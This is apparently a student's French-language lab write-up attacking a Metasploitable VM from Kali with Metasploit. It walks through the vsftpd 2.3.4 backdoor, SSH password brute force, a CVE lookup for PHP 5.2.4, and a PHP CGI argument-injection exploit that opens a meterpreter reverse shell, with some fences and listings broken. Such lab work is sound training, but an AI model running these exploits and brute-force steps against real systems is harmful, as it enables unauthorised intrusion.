On démarre ces 4 machines :

Puis on oublie pas de configurer le mode de réseau dans virtualbox de la machine METASPLOITABLE :

Et après on va sur la METASPLOITABLE et on oublie pas de se mettre en sudo bash
Puis une fois en sudo bash, on fait loadkeys fr :

```
root@metasploitable:/home/msfadmin# loadkeys fr
Loading /usr/share/keymaps/fr.map.bz2
```

Une fois cela fait, le clavier est en français, on fait nano /etc/network/interfaces
On vérifie que les paramètres correspond comme le screenshot en dessous :

```
  GNU nano 2.0.7          File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.100.11
netmask 255.255.255.0
gateway 192.168.100.254
dns-nameservers 192.168.100.10
```

On enregistre, on sort et ensuite on fait ifdown eth0 et ifup eth0 pour que les commandes soient prise en compte :

```
root@metasploitable:/home/msfadmin# ifdown eth0
SIOCDELRT: No such process
root@metasploitable:/home/msfadmin# ifup eth0
```

On fait nano /etc/resolv.conf
On vérifie que nameserver est comme celui ci :

```
  GNU nano 2.0.7              File: /etc/resolv.conf

search lan
nameserver 192.168.100.10
```

On oublie pas de faire ifdown et if up après

```
root@metasploitable:/home/msfadmin# ifdown eth0
root@metasploitable:/home/msfadmin# ifdown eth0
ifdown: interface eth0 not configured
root@metasploitable:/home/msfadmin# ifup eth0
```

On configure la kali mais elle est déjà configuré
On ping donc 192.168.100.11

```
┌──(test㉿kali2025)-[~]
└─$ ping 192.168.100.11
PING 192.168.100.11 (192.168.100.11) 56(84) bytes of data.
64 bytes from 192.168.100.11: icmp_seq=1 ttl=63 time=8.56 ms

Metasploit Documentation: https://docs.metasploit.com/
```

On va faire cette commande pour utiliser l'exploit :

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

On regarde les options disponibles avec la commande show options :

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.
```

On va faire set RHOST 192.168.100.11 puis run

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.100.11
RHOST => 192.168.100.11
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

Et la on a refait show exploits afin de voir tous les exploits répertoriés :

```
   2282  exploit/windows/mysql/mysql_mof                                  2012-12-01       excellent  Yes
Execution
   2283  exploit/windows/mysql/mysql_start_up                             2012-12-01       excellent  Yes
 Privilege Abuse
   2284  exploit/windows/mysql/mysql_yassl_hello                          2008-01-04       average    No
erflow
   2285  exploit/windows/mysql/scrutinizer_upload_exec                    2012-07-27       excellent  Yes
alyzer 9 Default MySQL Credential
   2286  exploit/windows/nfs/xlink_nfsd                                   2006-11-06       average    No
   2287  exploit/windows/nimsoft/nimcontroller_bof                        2020-02-05       excellent  Yes
msoft 7.80 - Remote Buffer Overflow
   2288  exploit/windows/nntp/ms05_030_nntp                               2005-06-14       normal     No
 Response Parsing Buffer Overflow
   2289  exploit/windows/novell/file_reporter_fsfui_upload                2012-11-16       great      No
   2290  exploit/windows/novell/groupwisemessenger_client                 2007-07-02       normal     No
r Overflow
   2291  exploit/windows/novell/netiq_pum_eval                            2012-11-15       excellent  Yes
pagnt_eval() Remote Perl Code Execution
   2292  exploit/windows/novell/nmap_stor                                 2006-12-23       average    No
w
   2293  exploit/windows/novell/zenworks_desktop_agent                    2005-05-19       good       No
gement Overflow
   2294  exploit/windows/novell/zenworks_preboot_op21_bof                 2010-03-30       normal     No
t Preboot Service 0x21 Buffer Overflow
   2295  exploit/windows/novell/zenworks_preboot_op4c_bof                 2012-02-22       normal     No
t Preboot Service 0x4c Buffer Overflow
   2296  exploit/windows/novell/zenworks_preboot_op6_bof                  2010-03-30       normal     No
t Preboot Service 0x06 Buffer Overflow
   2297  exploit/windows/novell/zenworks_preboot_op6c_bof                 2012-02-22       normal     No
t Preboot Service 0x6c Buffer Overflow
   2298  exploit/windows/nuuo/nuuo_cms_fu                                 2018-10-11       manual     No
cated Arbitrary File Upload
   2299  exploit/windows/nuuo/nuuo_cms_sqli                               2018-10-11       normal     No
QL Server SQLi
   2300  exploit/windows/oracle/client_system_analyzer_upload             2011-01-18       excellent  Yes
```

On reste dans msfconsole :

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) >
```

On fait cette commande ci dessus :

Ensuite, on voit que auxiliary est mis à la place de exploit

On va faire show options

```
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   ANONYMOUS_LOGIN      false            yes       Attempt to login with a blank username and password
   BLANK_PASSWORDS      false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED     5                yes       How fast to bruteforce, from 0 to 5
   CreateSession        true             no        Create a new session for every successful login
   DB_ALL_CREDS         false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS          false            no        Add all passwords in the current database to the list
   DB_ALL_USERS         false            no        Add all users in the current database to the list
   DB_SKIP_EXISTING     none             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                              no        A specific password to authenticate with
   PASS_FILE                             no        File containing passwords, one per line
   RHOSTS                                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                22               yes       The target port
   STOP_ON_SUCCESS      false            yes       Stop guessing when a credential works for a host
   THREADS              1                yes       The number of concurrent threads (max one per host)
   USERNAME                              no        A specific username to authenticate as
   USERPASS_FILE                         no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS         false            no        Try the username as the password for all users
   USER_FILE                             no        File containing usernames, one per line
   VERBOSE              false            yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Puis on va faire set rhost 192.168.100.11 :

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 192.168.100.11
rhost => 192.168.100.11
```

Puis on va charger le dictionnaire de mot de passe :

```
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
```

On lance l’attaque bruteforce

```
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.100.11:22 - Starting bruteforce
```

On lance l'attaque bruteforce
On voit que ça ne marche pas car dans le dictionnaire il n'y a pas le couple de mdp msfadmin/msfadmin

```
┌──(root㉿kali2025)-[/home/test]
└─# nano  /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
```

Puis on rajoute le couple msfadmin/msfadmin
Et la on voit que ça marche

```
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.100.11:22 - Starting bruteforce
[+] 192.168.100.11:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),

On se connecte au lien
Et la version de php utilisé est : 5.2.4
Elle date du 6 janvier 2010
Ensuite on va sur ce site :
cve.mitre.org
Puis on clique sur ce bouton pour rechercher si la vulnérabilité est présente

**Search CVE List**

On met dans la barre : php 5.2.4

### Search Results

There are **20** CVE Records that match your search.

| Name | Description |
|---|---|
| CVE-2021-44967 | A Remote Code Execution (RCE) vulnerabilty exists in LimeSurvey 5.2.4 via the upload and install plugins function, which could let a remote malicious user upload an arbitrary PHP code file. |
| CVE-2007-5447 | ioncube_loader_win_5.2.dll in the ionCube Loader 6.5 extension for PHP 5.2.4 does not follow safe_mode and disable_functions restrictions, which allows context-dependent attackers to bypass intended limitations, as demonstrated by reading arbitrary files via the ioncube_read_file function. |
| CVE-2007-4889 | The MySQL extension in PHP 5.2.4 and earlier allows remote attackers to bypass safe_mode and open_basedir restrictions via the MySQL (1) LOAD_FILE, (2) INTO DUMPFILE, and (3) INTO OUTFILE functions, a different issue than CVE-2007-3997. |
| CVE-2007-4887 | The dl function in PHP 5.2.4 and earlier allows context-dependent attackers to cause a denial of service (application crash) via a long string in the library parameter. NOTE: there are limited usage scenarios under which this would be a vulnerability. |
| CVE-2007-4850 | curl/interface.c in the cURL library (aka libcurl) in PHP 5.2.4 and 5.2.5 allows context-dependent attackers to bypass safe_mode and open_basedir restrictions and read arbitrary files via a file:// request containing a \x00 sequence, a different vulnerability than CVE-2006-2563. |
| CVE-2007-4840 | PHP 5.2.4 and earlier allows context-dependent attackers to cause a denial of service (application crash) via (1) a long string in the out_charset parameter to the iconv function; or a long string in the charset parameter to the (2) iconv_mime_decode_headers, (3) iconv_mime_decode, or (4) iconv_strlen function. NOTE: this might not be a vulnerability in most web server environments that support multiple threads, unless these issues can be demonstrated for code execution. |

On voit qu'il y'a 20 vulnérabilités

On revient sur le terminal , on fait msfconsole

Puis on va utiliser un exploit :

```
msf6 > use auxiliary/scanner/http/http_version
msf6 auxiliary(scanner/http/http_version) >
```

Et on va se positionner avec rhost :

**set rhosts 192.168.100.11**

**Et on va chercher l'exploit avec la commande ci dessous :**

```
msf6 auxiliary(scanner/http/http_version) > grep cgi search php 5.4.2
   1  exploit/multi/http/php_cgi_arg_injection          2012-05-03       excellent  Yes    PHP CGI Argument Injection
```

**On le charge avec use 1**

**On fait show options**

```
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.20    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.
```

**On se positionne puis on fait run**

```
msf6 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 192.168.100.11
RHOSTS => 192.168.100.11
msf6 exploit(multi/http/php_cgi_arg_injection) > run

[*] Started reverse TCP handler on 192.168.50.20:4444
[*] Sending stage (39927 bytes) to 192.168.100.11
[*] Meterpreter session 1 opened (192.168.50.20:4444 -> 192.168.100.11:53777) at 2025-01-31 13:24:55 +0100
```

**On est connecté au shell : meterpreter**

```
meterpreter > pwd
/var/www
meterpreter > ls
Listing: /var/www

Stdapi: Networking Commands
===========================

    Command                     Description
    -------                     -----------
    portfwd                     Forward a local port to a remote service
    resolve                     Resolve a set of host names on the target

Stdapi: System Commands
=======================

    Command                     Description
    -------                     -----------
    execute                     Execute a command
    getenv                      Get one or more environment variable values
    getpid                      Get the current process identifier
    getuid                      Get the user that the server is running as
    kill                        Terminate a process
    localtime                   Displays the target system local date and time
    pgrep                       Filter processes by name
    pkill                       Terminate processes by name
    ps                          List running processes
    shell                       Drop into a system command shell
    sysinfo                     Gets information about the remote system, such as OS

Stdapi: Audio Output Commands
=============================

    Command                     Description
    -------                     -----------
    play                        play a waveform audio file (.wav) on the target system

For more info on a specific command, use <command> -h or help <command>.
```

**On a fait quelques commandes et on arrive à afficher le répertoire ou le contenu**
